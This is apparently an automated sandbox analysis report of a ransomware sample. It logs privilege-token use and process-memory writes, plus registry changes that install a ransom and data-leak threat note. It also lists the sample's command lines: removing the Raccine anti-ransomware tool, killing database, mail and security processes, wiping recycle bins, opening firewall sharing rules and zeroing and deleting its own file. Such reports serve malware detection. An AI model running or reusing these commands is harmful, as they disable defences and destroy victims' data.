N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Conhost.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Conhost.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1808 wrote to memory of 3984 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\taskkill.exe
PID 1808 wrote to memory of 3984 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\taskkill.exe
PID 1808 wrote to memory of 3984 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\taskkill.exe
PID 1808 wrote to memory of 8 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\reg.exe
PID 1808 wrote to memory of 8 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\reg.exe
PID 1808 wrote to memory of 8 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\reg.exe
PID 1808 wrote to memory of 1096 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\reg.exe
PID 1808 wrote to memory of 1096 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\reg.exe
PID 1808 wrote to memory of 1096 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\reg.exe
PID 1808 wrote to memory of 2132 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\schtasks.exe
PID 1808 wrote to memory of 2132 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\schtasks.exe
PID 1808 wrote to memory of 2132 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\schtasks.exe
PID 1808 wrote to memory of 3488 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\sc.exe
PID 1808 wrote to memory of 3488 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\sc.exe
PID 1808 wrote to memory of 3488 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\sc.exe
PID 1808 wrote to memory of 584 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\sc.exe
PID 1808 wrote to memory of 584 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\sc.exe
PID 1808 wrote to memory of 584 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\sc.exe
PID 1808 wrote to memory of 3284 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\sc.exe
PID 1808 wrote to memory of 3284 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\sc.exe
PID 1808 wrote to memory of 3284 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\sc.exe
PID 1808 wrote to memory of 2780 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\cmd.exe
PID 1808 wrote to memory of 2780 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\cmd.exe
PID 1808 wrote to memory of 2780 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\cmd.exe
PID 1808 wrote to memory of 2760 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\sc.exe
PID 1808 wrote to memory of 2760 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\sc.exe
PID 1808 wrote to memory of 2760 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\sc.exe
PID 1808 wrote to memory of 3968 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\sc.exe
PID 1808 wrote to memory of 3968 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\sc.exe
PID 1808 wrote to memory of 3968 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\sc.exe
PID 1808 wrote to memory of 3772 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\sc.exe
PID 1808 wrote to memory of 3772 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\sc.exe
PID 1808 wrote to memory of 3772 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\sc.exe
PID 1808 wrote to memory of 3856 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\sc.exe
PID 1808 wrote to memory of 3856 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\sc.exe
PID 1808 wrote to memory of 3856 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\sc.exe
PID 1808 wrote to memory of 2104 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\sc.exe
PID 1808 wrote to memory of 2104 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\sc.exe
PID 1808 wrote to memory of 2104 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\sc.exe
PID 1808 wrote to memory of 364 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\cmd.exe
PID 1808 wrote to memory of 364 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\cmd.exe
PID 1808 wrote to memory of 364 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\cmd.exe
PID 1808 wrote to memory of 1012 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\taskkill.exe
PID 1808 wrote to memory of 1012 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\taskkill.exe
PID 1808 wrote to memory of 1012 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\taskkill.exe
PID 1808 wrote to memory of 3864 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\taskkill.exe
PID 1808 wrote to memory of 3864 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\taskkill.exe
PID 1808 wrote to memory of 3864 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\taskkill.exe
PID 1808 wrote to memory of 3960 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\taskkill.exe
PID 1808 wrote to memory of 3960 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\taskkill.exe
PID 1808 wrote to memory of 3960 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\taskkill.exe
PID 1808 wrote to memory of 3328 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\netsh.exe
PID 1808 wrote to memory of 3328 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\netsh.exe
PID 1808 wrote to memory of 3328 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\netsh.exe
PID 1808 wrote to memory of 2136 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\taskkill.exe
PID 1808 wrote to memory of 2136 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\taskkill.exe
PID 1808 wrote to memory of 2136 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\taskkill.exe
PID 1808 wrote to memory of 3388 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\taskkill.exe
PID 1808 wrote to memory of 3388 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\taskkill.exe
PID 1808 wrote to memory of 3388 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\taskkill.exe
PID 1808 wrote to memory of 428 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\taskkill.exe
PID 1808 wrote to memory of 428 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\taskkill.exe
PID 1808 wrote to memory of 428 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\taskkill.exe
PID 1808 wrote to memory of 2120 N/A C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe C:\Windows\SysWOW64\taskkill.exe

System policy modification

evasion
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticecaption = "YOUR COMPANY NETWORK HAS BEEN HACKED" C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticetext = "All your important files have been encrypted!\r\nYour files are safe! Only modified.(AES) \r\nNo software available on internet can help you.\r\nWe are the only ones able to decrypt your files.\r\n\r\n!!!!!!!!!!!!!!!!!!!!!!!!\r\nIf you decide not to work with us: \r\nAll data on your computers will remain encrypted forever. \r\nYOUR DATA ON OUR SERVER AND WE WILL RELEASE YOUR DATA TO PUBLIC OR RE-SELLER!\r\nSo you can expect your data to be publicly available in the near future.. \r\nThe price will increase over time. \r\n!!!!!!!!!!!!!!!!!!!!!!!!!\r\n\r\nFull information in the file RESTORE_FILES_INFO" C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe

"C:\Users\Admin\AppData\Local\Temp\9d85a74f073c4403e3a91017b6757e0368139e672498a2f84f5efaad0d1b573b.bin.sample.exe"

C:\Windows\SysWOW64\taskkill.exe

"taskkill" /F /IM RaccineSettings.exe

C:\Windows\SysWOW64\reg.exe

"reg" delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F

C:\Windows\SysWOW64\reg.exe

"reg" delete HKCU\Software\Raccine /F

C:\Windows\SysWOW64\schtasks.exe

"schtasks" /DELETE /TN "Raccine Rules Updater" /F

C:\Windows\SysWOW64\sc.exe

"sc.exe" config Dnscache start= auto

C:\Windows\SysWOW64\sc.exe

"sc.exe" config SQLTELEMETRY start= disabled

C:\Windows\SysWOW64\sc.exe

"sc.exe" config FDResPub start= auto

C:\Windows\SysWOW64\cmd.exe

"cmd.exe" /c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin

C:\Windows\SysWOW64\sc.exe

"sc.exe" config SSDPSRV start= auto

C:\Windows\SysWOW64\sc.exe

"sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled

C:\Windows\SysWOW64\sc.exe

"sc.exe" config SstpSvc start= disabled

C:\Windows\SysWOW64\sc.exe

"sc.exe" config SQLWriter start= disabled

C:\Windows\SysWOW64\cmd.exe

"cmd.exe" /c rd /s /q D:\\$Recycle.bin

C:\Windows\SysWOW64\sc.exe

"sc.exe" config upnphost start= auto

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM mspub.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM mspub.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM synctime.exe /F

C:\Windows\SysWOW64\netsh.exe

"netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM Ntrtscan.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM mydesktopqos.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM mysqld.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM isqlplussvc.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM mydesktopservice.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM sqbcoreservice.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM firefoxconfig.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM onenote.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM encsvc.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM excel.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM agntsvc.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM PccNTMon.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM dbeng50.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM CNTAoSMgr.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM msaccess.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM thebat.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM thebat64.exe /F

C:\Windows\SysWOW64\netsh.exe

"netsh" advfirewall firewall set rule group="File and Printer Sharing" new enable=Yes

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM sqlwriter.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM outlook.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM steam.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM ocomm.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM tbirdconfig.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM tmlisten.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" IM thunderbird.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM infopath.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM dbsnmp.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM msftesql.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM wordpad.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM powerpnt.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM mbamtray.exe /F

C:\Windows\SysWOW64\mshta.exe

"C:\Windows\System32\mshta.exe" C:\Users\Admin\Desktop\RESTORE_FILES_INFO.hta

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM xfssvccon.exe /F

C:\Windows\SysWOW64\cmd.exe

"cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM mysqld-opt.exe /F

C:\Windows\SysWOW64\PING.EXE

ping 127.0.0.7 -n 3

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM zoolz.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM mydesktopqos.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM ocautoupds.exe /F

C:\Windows\SysWOW64\taskkill.exe

"taskkill.exe" /IM visio.exe /F

